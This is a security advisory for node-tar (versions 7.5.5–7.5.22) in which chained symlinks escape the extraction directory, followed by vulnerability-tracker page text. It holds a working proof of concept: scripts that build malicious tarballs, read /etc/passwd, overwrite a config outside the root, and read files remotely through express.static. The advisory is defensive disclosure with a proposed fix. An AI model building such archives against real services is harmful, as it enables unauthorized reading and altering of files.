node:22-slim \\\n  sh -c \"npm init -y \u003e/dev/null \u0026\u0026 npm install --ignore-scripts --no-audit --no-fund tar@$VER \u003e/dev/null\"\ndocker run --rm --network none --user \"$U\" -e HOME=/tmp -v \"$PWD:/poc\" -w /poc node:22-slim node repro.cjs || true\n```\n\n### Steps\n\nOption A, in Docker:\n\n```sh\nsh run.sh                       # tests tar@7.5.22\nTAR_VERSION=7.5.4 sh run.sh     # comparison: not affected\n```\n\nOption B, without Docker (Linux/macOS). This reads `/etc/passwd` through the extracted link and writes only under `./work`:\n\n```sh\nnpm init -y \u0026\u0026 npm install --ignore-scripts tar@7.5.22\nnode repro.cjs; echo \"exit=$?\"\n```\n\n### Output with tar@7.5.22\n\n```json\n{\n  \"node\": \"v22.23.4\",\n  \"tar\": \"7.5.22\",\n  \"platform\": \"linux\",\n  \"verdict\": \"VULNERABLE\",\n  \"results\": [\n    {\n      \"case\": \"0 control: esc -\u003e ../\",\n      \"warnings\": [\n        \"TAR_ENTRY_ERROR: linkpath escapes extraction directory\"\n      ],\n      \"created\": false\n    },\n    {\n      \"case\": \"1 chain: sub/up -\u003e .., esc -\u003e sub/up/..\",\n      \"warnings\": [],\n      \"created\": true,\n      \"linkpath\": \"sub/up/..\",\n      \"realpath\": \"/poc/work/uploads/job-1\",\n      \"escapes\": true,\n      \"read_OUT_esc_config_json\": \"{\\\"admin\\\":false}\",\n      \"outside_config_after_write\": \"{\\\"admin\\\":true}\"\n    },\n    {\n      \"case\": \"2 chain depth 12: root -\u003e d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..\",\n      \"warnings\": [],\n      \"created\": true,\n      \"linkpath\": \"d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..\",\n      \"realpath\": \"/\",\n      \"escapes\": true,\n      \"read_OUT_root_etc_passwd\": \"root:x:0:0:root:/root:/bin/bash\",\n      \"read_sibling_job_secret\": \"OTHER-JOB-SECRET\"\n    }\n  ]\n}\n```\n\nWhat it shows:\n- **Case 0 (control):** a direct `../` link is rejected, so containment is working.\n- **Case 1:** the chained link `esc` resolves to the parent of the extraction dir (`.../job-1`). Reading `out/esc/config.json` returns the parent\u0027s file, and writing to it changes the file outside the extraction dir.\n- **Case 2:** the depth-12 chain resolves to `/`. `out/root/etc/passwd` and another job\u0027s file (`uploads/job-0-secret.txt`) are readable through it.\n\nThe outputs were identical across 3 consecutive runs, and the async API (`await tar.x({ file, cwd })`) gives the same result.\n\n### Output with tar@7.5.4 (comparison)\n\n```json\n{\n  \"node\": \"v22.23.4\",\n  \"tar\": \"7.5.4\",\n  \"platform\": \"linux\",\n  \"verdict\": \"NOT VULNERABLE\",\n  \"results\": [\n    {\n      \"case\": \"0 control: esc -\u003e ../\",\n      \"warnings\": [\n        \"TAR_ENTRY_ERROR: linkpath contains \u0027..\u0027\"\n      ],\n      \"created\": false\n    },\n    {\n      \"case\": \"1 chain: sub/up -\u003e .., esc -\u003e sub/up/..\",\n      \"warnings\": [\n        \"TAR_ENTRY_ERROR: linkpath contains \u0027..\u0027\",\n        \"TAR_ENTRY_ERROR: linkpath contains \u0027..\u0027\"\n      ],\n      \"created\": false\n    },\n    {\n      \"case\": \"2 chain depth 12: root -\u003e d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..\",\n      \"warnings\": [\n        \"TAR_ENTRY_ERROR: linkpath contains \u0027..\u0027\",\n        \"TAR_ENTRY_ERROR: linkpath contains \u0027..\u0027\"\n      ],\n      \"created\": false\n    }\n  ]\n}\n```\n\n### Expected (safe) behavior\n\nThe chained entries are rejected the same way as the control, with a `TAR_ENTRY_ERROR` warning, or are created so that they resolve inside `cwd`. The script then prints `\"verdict\": \"NOT VULNERABLE\"` and exits with code 0. It doubles as a regression check for a fix.\n\nNote: Node\u0027s JS `fs.realpathSync` normalizes `..` lexically and reports an in-root path for `esc`. The PoC therefore uses `fs.realpathSync.native`, which returns the same result as `readlink -f`.\n\n### Deployment example: unauthenticated remote file read\n\nA common pattern is a service that extracts an uploaded tarball into a per-user directory and serves it with `express.static` (defaults). The uploaded archive contains `index.html` plus the depth-12 chain named `assets`. The server listens on 127.0.0.1 only and exits after three requests.\n\n`serve-demo.cjs`:\n\n```js\n// Deployment example: a service extracts an uploaded tarball with tar defaults and serves it with\n// express.static. Usage: npm install tar@7.5.22 express@5 \u0026\u0026 node serve-demo.cjs\n// Listens only on 127.0.0.1 and exits after three requests. Files are created under ./work-serve only.\n\u0027use strict\u0027\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst http = require(\u0027http\u0027)\nconst express = require(\u0027express\u0027)\nconst { Header, x } = require(\u0027tar\u0027)\n\nconst WORK = path.resolve(__dirname, \u0027work-serve\u0027)\nconst SITE = path.join(WORK, \u0027sites\u0027, \u0027user-123\u0027)\nfs.rmSync(WORK, { recursive: true, force: true })\nfs.mkdirSync(SITE, { recursive: true })\n\n// Attacker-uploaded archive: a normal index.html plus a depth-12 chain named \"assets\".\nconst N = 12\nconst dirs = Array.from({ length: N }, (_, i) =\u003e \u0027d\u0027 + i)\nconst ups = Array(N).fill(\u0027..\u0027).join(\u0027/\u0027)\nconst entries = [{ path: \u0027index.html\u0027, type: \u0027File\u0027, body: \u0027hello\\n\u0027 }]\nfor (let i = 1; i \u003c= N; i++) entries.push({ path: dirs.slice(0, i).join(\u0027/\u0027) + \u0027/\u0027, type: \u0027Directory\u0027 })\nentries.push({ path: dirs.join(\u0027/\u0027) + \u0027/up\u0027, type: \u0027SymbolicLink\u0027, linkpath: ups })\nentries.push({ path: \u0027assets\u0027, type: \u0027SymbolicLink\u0027, linkpath: dirs.join(\u0027/\u0027) + \u0027/up/\u0027 + ups })\nconst blocks = []\nfor (const e of entries) {\n  const body = e.body ? Buffer.from(e.body) : null\n  const h = Buffer.alloc(512)\n  new Header({ path: e.path, type: e.type, linkpath: e.linkpath, size: body ? body.length : 0,\n    mode: e.type === \u0027Directory\u0027 ? 0o755 : 0o644, mtime: new Date(0) }).encode(h, 0)\n  blocks.push(h)\n  if (body) blocks.push(Buffer.concat([body, Buffer.alloc(512 - (body.length % 512 || 512))]))\n}\nconst upload = path.join(WORK, \u0027upload.tar\u0027)\nfs.writeFileSync(upload, Buffer.concat([...blocks, Buffer.alloc(1024)]))\n\n// Server side: default extraction options, default express.static.\nx({ file: upload, cwd: SITE, sync: true })\nconst app = express()\napp.use(\u0027/sites/user-123\u0027, express.static(SITE))\nconst server = app.listen(0, \u0027127.0.0.1\u0027, async () =\u003e {\n  const port = server.address().port\n  const get = p =\u003e new Promise(resolve =\u003e http.get({ host: \u0027127.0.0.1\u0027, port, path: p }, res =\u003e {\n    let d = \u0027\u0027\n    res.on(\u0027data\u0027, c =\u003e (d += c))\n    res.on(\u0027end\u0027, () =\u003e resolve({ path: p, status: res.statusCode, first_line: d.split(\u0027\\n\u0027)[0] }))\n  }))\n  const requests = []\n  for (const p of [\u0027/sites/user-123/index.html\u0027, \u0027/sites/user-123/assets/etc/passwd\u0027, \u0027/sites/user-123/assets/etc/hostname\u0027]) {\n    requests.push(await get(p))\n  }\n  console.log(JSON.stringify({ tar: require(\u0027tar/package.json\u0027).version, express: require(\u0027express/package.json\u0027).version, requests }, null, 2))\n  server.close()\n})\n```\n\nRun:\n\n```sh\nnpm init -y \u0026\u0026 npm install --ignore-scripts tar@7.5.22 express@5\nnode serve-demo.cjs\n```\n\nOutput (Docker, `--network none`, loopback only):\n\n```json\n{\n  \"tar\": \"7.5.22\",\n  \"express\": \"5.3.0\",\n  \"requests\": [\n    {\n      \"path\": \"/sites/user-123/index.html\",\n      \"status\": 200,\n      \"first_line\": \"hello\"\n    },\n    {\n      \"path\": \"/sites/user-123/assets/etc/passwd\",\n      \"status\": 200,\n      \"first_line\": \"root:x:0:0:root:/root:/bin/bash\"\n    },\n    {\n      \"path\": \"/sites/user-123/assets/etc/hostname\",\n      \"status\": 200,\n      \"first_line\": \"edab13260d70\"\n    }\n  ]\n}\n```\n\n### Impact\n\n**Vulnerability type:** link following and path traversal in archive extraction (CWE-59, CWE-22). With default options, `tar.x()` creates a symlink inside the extraction directory that resolves outside it, up to `/`. This breaks the README\u0027s documented guarantee for `SymbolicLink` entries.\n\n**Who is impacted:** applications that extract attacker-controlled tarballs with `tar` 7.5.5\u20137.5.22 using default options and then access paths under the extraction directory. Examples: serving extracted files (as in the `express.static` example), reading or post-processing them, writing results or configuration into the extracted tree, or copying files out while following links. The README promises that link targets stay inside the extraction folder, so applications reasonably rely on that instead of adding their own link filter.\n\n**What an attacker gains:** read and write access to files outside the extraction root, with the privileges of the extracting process. This can include other users\u0027 uploads in a shared parent directory, application configuration, keys readable by the service account, and any writable file. Demonstrated above:\n- reading `/etc/passwd` and another job\u0027s file\n- overwriting a parent-directory config file\n- an unauthenticated remote read over HTTP through `express.static`\n\n**Not required:** `preservePaths`, special filesystems, race conditions, or Windows.\n\n**Remediation idea (untested proposal):** accept a `SymbolicLink` linkpath only when every `..` segment comes before any other segment, i.e. only leading `../` segments, bounded by the entry\u0027s depth.\n- `sub/up/..` is then rejected, while `../sibling/file` (the case PR #450 wanted to allow) stays valid.\n- Each accepted link can only climb above its own real parent directory and never passes `..` through another link, so chains cannot leave `cwd`. The rule does not depend on entry order.\n- `repro.cjs` above can serve as the regression test: it must print `NOT VULNERABLE`.",
  "id": "GHSA-3wwj-8j6r-q339",
  "modified": "2026-12-02T00:54:08Z",
  "published": "2026-12-02T00:54:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-3wwj-8j6r-q339"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140250"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "node-tar: Symlink containment bypass via chained symlinks lets tar.x() create links that resolve outside the extraction directory (regression since 7.5.5)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.